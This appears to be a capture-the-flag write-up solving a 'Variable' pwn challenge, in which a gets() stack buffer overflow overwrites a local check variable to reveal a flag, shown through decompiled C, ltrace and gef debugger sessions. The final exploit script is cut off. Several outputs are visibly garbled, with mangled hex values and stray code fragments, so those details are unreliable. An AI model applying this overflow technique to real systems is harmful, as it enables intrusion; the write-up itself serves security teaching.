

## Variable (Medium) - Pwn

Thursday, June 29, 2023 7:13 PM

## Description

Navigate the binary labyrinth and bend variables to your will.

## Solution

Upon running the binary, we are first asked for the username and then a secret.

```
(kali㉿kali)-[~/.../pwn/unused/variable_r2.0/original-code]
$ ./variable

A BIT MORE CHALLENGING THIS
TIME?

Enter the username: test
Hello test!

Please enter the secret password: hello
Access Denied!
```

Using ltrace, we can see the usage of gets() in the username.

```
(kali㉿ kali)-[~/.../pwn/unused/variable_r2.0/original-code]
$ ltrace ./variable
printf("\342\224\217\342\224\201\342\224\223   \342\224\217\342\224\223 \342\225\273\342\225\272\342\224\263\342\272\201\342\224\223\n")
H "BIT"URLE"ZHHLLLIYGIYGB I HIB
TIME?
)= 644
IIEI.
is payload == p84(0xaffbaba)
is
gets(0x7ffcdaa281c0, 32, 0, 0Enter the username: test
): r_sendline("test") = 0x7ffcdaa281c0
is
Hello test!
if flag ==> {r_recvline_contains(b"GCC", timeout = 0.2).strip().decode())}
is
fgets(Please enter the secret password: test
"test\n", 16, 0x7fcd50ab1a80) = 0x7ffcdaa281b0
is
Access Denied!+++ exited (status 0) +++
```

Ghidra.

Main function shows the call for authenticator() func.

```
2 undefined8 main(void)
3
4 {
5     banner();
6     authenticator();
7     return 0;
8 }
```

### Authenticator() function.

```

'''
void authenticator(void)

{
    char *pcVar1;
    char local_168 [256];
    char secret_password [16];
    char username [64];
    FILE *local_18;
    int target;

    target = L'\xfee1dead';
    printf("\n\nEnter the username: ");
    gets(username);
    printf("\nHello %s!\n",username);
    printf("\nPlease enter the secret password: ");
    fgets(secret_password,0x10,stdin);
    if (target == L'\xcaf3bab3') {
        local_18 = fopen("flag.txt","r");
        if (local_18 == (FILE *)0x0) {
            puts("\nError: could not open file");
        }
        else {
            printf("\nAccess Granted!\nHere's the flag: ");
            while( true ) {
                pcVar1 = fgets(local_168,0x100,local_18);
                if (pcVar1 == (char *)0x0) break;
                printf("%s",local_168);
            }
            fclose(local_18);
        }
    }
    else {
        printf("\nAccess Denied!");
    }
    return;
}
'''

```

I have renamed some variable names for better understanding.

Here it first takes input username using gets() function so we know this is where the buffer overflow exists.

Next we have an input for secret\_password. After that we have a comparison, target == L'\xcaf3bab3'

Where target's initial value is target = L'\xfee1dead';

We somehow need to manipulate target's value and overwrite it to caf3bab3.

Fire up gef to exploit this.

While disassembling the authenticator func, add a breakpoint right after the gets() function to analyze our input and find the offset.

```
gef> b *authenticator+56
Breakpoint 1 at 0x40122a
```

```
gef> r
Starting program: /home/kali/Desktop/saad/ctfs-dev/pwn/unused/variable_r2.0/original-code/variable
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

A BIT MORE CHALLENGING THIS
TIME?

gef> ssf("/challenge")
13 payload = b"A"*70
gef>

Enter the username: FOOBAR

Breakpoint 1, 0x00000000040122a in authenticator ()
[ Legend: Modified register | Code | Heap | Stack | String ]

$rax : 0x00007fffffffddcc0 → 0x00005241424f4f46 ("FOOBAR?")
$rbx : 0x00007fffffffde38 → 0x00007fffffffef189 → "/home/kali/Desktop/saad/ctfs-dev/pwn/unused/variab[ ...]"
$rcx : 0x00007ffff7f9ea80 → 0x00000000fbad2288
$rdx : 0x1
$rsp : 0x00007fffffffdbb0 → 0x0000000000000000
$rbp : 0x00007fffffffdd10 → 0x00007fffffffdd20 → 0x0000000000000001
$rsi : 0x1
```

```
get> search-pattern "FOOBAR"
[+] Searching 'FOOBAR' in memory
[+] In '[heap]'(0x405000-0x426000), permission=rw-
    0x4056b0 - 0x4056b8 → "FOOBAR\n"
[+] In '[stack]'(0x7ffffffd000-0x7fffffff000), permission=rw-
    0x7ffffffdccc0 - 0x7ffffffdccc6 → "FOOBAR"
```

```
gef> search-pattern "0xfeeddead"
[+] Searching '\xad\xde\xei\xfe' in memory
[+] In '/home/kali/Desktop/saad/ctfs-dev/pwn/unused/variable_r2.0/original-co
0x401204 - 0x401214 → "\xad\xde\xei\xfe[ ...]"
[+] In '/usr/lib/x86_64-linux-gnu/libc.so.6'(0x7ffff7df2000-0x7ffff7f47000),
0x7ffff7ecab28 - 0x7ffff7ecab38 → "\xad\xde\xei\xfe[ ...]"
[+] In '[stack]'(0x7fffffde000-0x7fffffde000), permission=rw-
0x7fffffdd0c - 0x7fffffdd1c → "\xad\xde\xei\xfe[ ...]"
```

0x7fffffffdd0c - 0x7fffffffddcc0

```
>>> 0x7fffffffdd0c-0x7fffffffddcc0
76
```

We get the offset 76.

Now to find the overwritten value, add a breakpoint on the comparison point in the authenticator function.

```

0x000000000040125e <+108>: mov     esi,0x10
0x0000000000401263 <+113>: mov     rdi, rax
0x0000000000401266 <+116>: call    0x4010c0 <fgets@plt>
0x000000000040126b <+121>: cmp     DWORD PTR [rbp-0x4],0xcaf3bab3
0x0000000000401272 <+128>: jne     0x4012fd <authenticator+267>
0x0000000000401278 <+134>: lea     rsi,[rip+0x105d]          # 0x4022dc
0x000000000040127f <+141>: lea     rdi,[rip+0x1058]          # 0x4022de
0x0000000000401286 <+148>: call    0x4010e0 <fopen@plt>
0x000000000040128b <+153>: mov     QWORD PTR [rbp-0x10],rax
0x000000000040128f <+157>: cmp     QWORD PTR [rbp-0x10],0x0
0x0000000000401294 <+162>: je      0x4012ef <authenticator+253>

```

```
gef> b *authenticator+121
Breakpoint 2 at 0x40126b
```

Create a pattern of 76.

```
gef> pattern create 76
[+] Generating a pattern of 76 bytes (n=8)
aaaaaaaaabaaaaaaaaacaaaaaaaaadaaaaaaaaaeaaaaaaaafaaaaaaaagaaaaaaaahaaaaaaaaiaaaaaajaaa
[+] Saved as '$_gef1'
```

Run the program, and after 76 pattern characters, add 6 B's.

```
gef> r
Starting program: /home/kali/Desktop/saad/ctfs-dev/pwn/unused/variable_r2.0/original-code/variable
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
A BIT MORE CHALLENGING THIS
TIME?
Enter the username: aaaaaaaaaabaaaaaaaaacaaaaaaaaadaaaaaaaaaeaaaaaaaafaaaaaaaagaaaaaaaahaaaaaaaaiaaaaaajaaaBBBBBB
Breakpoint 1, 0x000000000040122a in authenticator ()
[ Legend: Modified register | Code | Heap | Stack | String ]
```

On the comparison breakpoint read the value of \$rbp-0x4 to see our overwritten value.

```
[#0] 0x40126b → authenticator()
[#1] 0x40132d → main()

gef> x/s $rbp-0x4
0x7fffffffdd0c: "BBBBBB"
```

Final script.

'''

from pwn import \*

...

Flag: NCC{s3cr3t\_ov3rr1d3n\_pwn3d}